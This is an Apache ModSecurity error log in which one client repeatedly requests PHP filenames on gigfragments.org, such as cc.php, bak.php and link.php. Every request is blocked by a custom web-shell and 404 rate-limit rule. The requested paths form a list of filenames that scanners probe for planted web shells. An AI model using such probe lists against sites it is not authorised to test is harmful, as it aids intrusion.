[Fri Dec 26 00:50:06.041054 2025] [:error] [pid 24862:tid 24880] [client 4.193.224.251:9019] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rPrt-eeEEuo-2JKgh3AAAAA4"]
[Fri Dec 26 00:50:06.224734 2025] [:error] [pid 24863:tid 24893] [client 4.193.224.251:9006] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aU1rPh8SaH2KMpp43vfeDQAAAMA"]
[Fri Dec 26 00:50:06.414493 2025] [:error] [pid 24862:tid 24875] [client 4.193.224.251:9178] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aU1rPrt-eeEEuo-2JKgh3gAAAAk"]
[Fri Dec 26 00:50:06.641796 2025] [:error] [pid 24946:tid 24963] [client 4.193.224.251:9203] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aU1rPlfyLYxv3Jn9S70wUwAAAE8"]
[Fri Dec 26 00:50:06.874414 2025] [:error] [pid 24946:tid 24957] [client 4.193.224.251:8733] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aU1rPlfyLYxv3Jn9S70wVQAAAEk"]
[Fri Dec 26 00:50:07.063907 2025] [:error] [pid 24862:tid 24868] [client 4.193.224.251:9152] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU1rP7t-eeEEuo-2JKgh3wAAAAI"]
[Fri Dec 26 00:50:07.268261 2025] [:error] [pid 24863:tid 24910] [client 4.193.224.251:8978] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU1rPx8SaH2KMpp43vfeDwAAANE"]
[Fri Dec 26 00:50:07.452625 2025] [:error] [pid 24863:tid 24916] [client 4.193.224.251:9009] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU1rPx8SaH2KMpp43vfeEQAAANc"]
[Fri Dec 26 00:50:07.679601 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:8997] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU1rP1fyLYxv3Jn9S70wWAAAAEM"]
[Fri Dec 26 00:50:07.879835 2025] [:error] [pid 24863:tid 24903] [client 4.193.224.251:9194] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aU1rPx8SaH2KMpp43vfeEwAAAMo"]
[Fri Dec 26 00:50:08.113997 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:9157] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aU1rQLt-eeEEuo-2JKgh4QAAABQ"]
[Fri Dec 26 00:50:08.299699 2025] [:error] [pid 24864:tid 24922] [client 4.193.224.251:8708] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aU1rQMu59XOK5DpQQdCGmAAAAUI"]
[Fri Dec 26 00:50:08.502827 2025] [:error] [pid 24863:tid 24913] [client 4.193.224.251:8730] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aU1rQB8SaH2KMpp43vfeFAAAANQ"]
[Fri Dec 26 00:50:08.694723 2025] [:error] [pid 24864:tid 24933] [client 4.193.224.251:8710] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aU1rQMu59XOK5DpQQdCGmwAAAU0"]
[Fri Dec 26 00:50:08.897685 2025] [:error] [pid 24864:tid 24935] [client 4.193.224.251:8711] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aU1rQMu59XOK5DpQQdCGnAAAAU8"]
[Fri Dec 26 00:50:09.134886 2025] [:error] [pid 24864:tid 24923] [client 4.193.224.251:8740] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aU1rQcu59XOK5DpQQdCGngAAAUM"]
[Fri Dec 26 00:50:09.318378 2025] [:error] [pid 24946:tid 24965] [client 4.193.224.251:9023] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aU1rQVfyLYxv3Jn9S70wXQAAAFE"]
[Fri Dec 26 00:50:09.531049 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:9158] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU1rQVfyLYxv3Jn9S70wXgAAAEo"]
[Fri Dec 26 00:50:09.724920 2025] [:error] [pid 24946:tid 24969] [client 4.193.224.251:9212] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU1rQVfyLYxv3Jn9S70wXwAAAFU"]
[Fri Dec 26 00:50:09.906885 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:8709] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU1rQVfyLYxv3Jn9S70wYAAAAFM"]
[Fri Dec 26 00:50:10.097887 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8964] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU1rQh8SaH2KMpp43vfeGAAAANY"]
[Fri Dec 26 00:50:10.308285 2025] [:error] [pid 24946:tid 24949] [client 4.193.224.251:8721] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1rQlfyLYxv3Jn9S70wYwAAAEE"]
[Fri Dec 26 00:50:10.485052 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:8718] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1rQrt-eeEEuo-2JKgh4gAAABc"]
[Fri Dec 26 00:50:10.677465 2025] [:error] [pid 24946:tid 24972] [client 4.193.224.251:8969] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1rQlfyLYxv3Jn9S70wZAAAAFg"]
[Fri Dec 26 00:50:10.856695 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:8966] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1rQlfyLYxv3Jn9S70wZwAAAEM"]
[Fri Dec 26 00:50:11.039261 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:8977] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aU1rQ1fyLYxv3Jn9S70waAAAAFc"]
[Fri Dec 26 00:50:11.218649 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:9154] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aU1rQ1fyLYxv3Jn9S70waQAAAFQ"]
[Fri Dec 26 00:50:11.419740 2025] [:error] [pid 24946:tid 24952] [client 4.193.224.251:9017] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aU1rQ1fyLYxv3Jn9S70wawAAAEQ"]
[Fri Dec 26 00:50:11.599887 2025] [:error] [pid 24864:tid 24940] [client 4.193.224.251:9020] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aU1rQ8u59XOK5DpQQdCGogAAAVQ"]
[Fri Dec 26 00:50:11.791975 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8716] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rQ1fyLYxv3Jn9S70wbQAAAEs"]
[Fri Dec 26 00:50:11.975024 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:9030] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rQ1fyLYxv3Jn9S70wbgAAAEY"]
[Fri Dec 26 00:50:12.168490 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:8986] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rRFfyLYxv3Jn9S70wbwAAAEo"]
[Fri Dec 26 00:50:12.365543 2025] [:error] [pid 24946:tid 24955] [client 4.193.224.251:8963] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rRFfyLYxv3Jn9S70wcQAAAEc"]
[Fri Dec 26 00:50:12.551163 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:9159] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aU1rRFfyLYxv3Jn9S70wcwAAAFM"]
[Fri Dec 26 00:50:12.734974 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8727] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aU1rRMu59XOK5DpQQdCGowAAAUg"]
[Fri Dec 26 00:50:12.921383 2025] [:error] [pid 24863:tid 24899] [client 4.193.224.251:9187] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aU1rRB8SaH2KMpp43vfeGwAAAMY"]
[Fri Dec 26 00:50:13.096350 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:9071] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aU1rRR8SaH2KMpp43vfeHAAAAM4"]
[Fri Dec 26 00:50:13.288231 2025] [:error] [pid 24862:tid 24881] [client 4.193.224.251:8707] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aU1rRbt-eeEEuo-2JKgh5QAAAA8"]
[Fri Dec 26 00:50:13.472763 2025] [:error] [pid 24862:tid 24872] [client 4.193.224.251:8970] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aU1rRbt-eeEEuo-2JKgh5wAAAAY"]
[Fri Dec 26 00:50:13.645735 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:9011] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aU1rRVfyLYxv3Jn9S70wfAAAAFc"]
[Fri Dec 26 00:50:13.842430 2025] [:error] [pid 24946:tid 24948] [client 4.193.224.251:8724] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aU1rRVfyLYxv3Jn9S70wfwAAAEA"]
[Fri Dec 26 00:50:14.035301 2025] [:error] [pid 24862:tid 24882] [client 4.193.224.251:9175] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aU1rRrt-eeEEuo-2JKgh6wAAABA"]
[Fri Dec 26 00:50:14.222814 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:9173] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aU1rRsu59XOK5DpQQdCGpQAAAVM"]
[Fri Dec 26 00:50:14.419858 2025] [:error] [pid 24864:tid 24933] [client 4.193.224.251:8993] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aU1rRsu59XOK5DpQQdCGpgAAAU0"]
[Fri Dec 26 00:50:14.627205 2025] [:error] [pid 24864:tid 24935] [client 4.193.224.251:9012] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aU1rRsu59XOK5DpQQdCGqAAAAU8"]
[Fri Dec 26 00:50:14.854271 2025] [:error] [pid 24862:tid 24875] [client 4.193.224.251:9027] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rRrt-eeEEuo-2JKgh7AAAAAk"]
[Fri Dec 26 00:50:15.054599 2025] [:error] [pid 24862:tid 24874] [client 4.193.224.251:8996] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rR7t-eeEEuo-2JKgh7QAAAAg"]
[Fri Dec 26 00:50:15.235390 2025] [:error] [pid 24946:tid 24950] [client 4.193.224.251:9189] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rR1fyLYxv3Jn9S70wiQAAAEI"]
[Fri Dec 26 00:50:15.422886 2025] [:error] [pid 24863:tid 24910] [client 4.193.224.251:9015] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rRx8SaH2KMpp43vfeIwAAANE"]
[Fri Dec 26 00:50:15.602898 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:9003] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aU1rR8u59XOK5DpQQdCGqgAAAUY"]
[Fri Dec 26 00:50:15.800962 2025] [:error] [pid 24862:tid 24873] [client 4.193.224.251:9184] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aU1rR7t-eeEEuo-2JKgh7gAAAAc"]
[Fri Dec 26 00:50:16.012957 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:9016] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aU1rSFfyLYxv3Jn9S70wiwAAAFc"]
[Fri Dec 26 00:50:16.190522 2025] [:error] [pid 24864:tid 24921] [client 4.193.224.251:9002] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aU1rSMu59XOK5DpQQdCGqwAAAUE"]
[Fri Dec 26 00:50:16.399545 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:9206] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aU1rSFfyLYxv3Jn9S70wjAAAAFQ"]
[Fri Dec 26 00:50:16.572811 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8726] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aU1rSMu59XOK5DpQQdCGrQAAAVI"]
[Fri Dec 26 00:50:16.745850 2025] [:error] [pid 24946:tid 24964] [client 4.193.224.251:8704] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aU1rSFfyLYxv3Jn9S70wkAAAAFA"]
[Fri Dec 26 00:50:16.946062 2025] [:error] [pid 24862:tid 24884] [client 4.193.224.251:9043] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aU1rSLt-eeEEuo-2JKgh8AAAABI"]
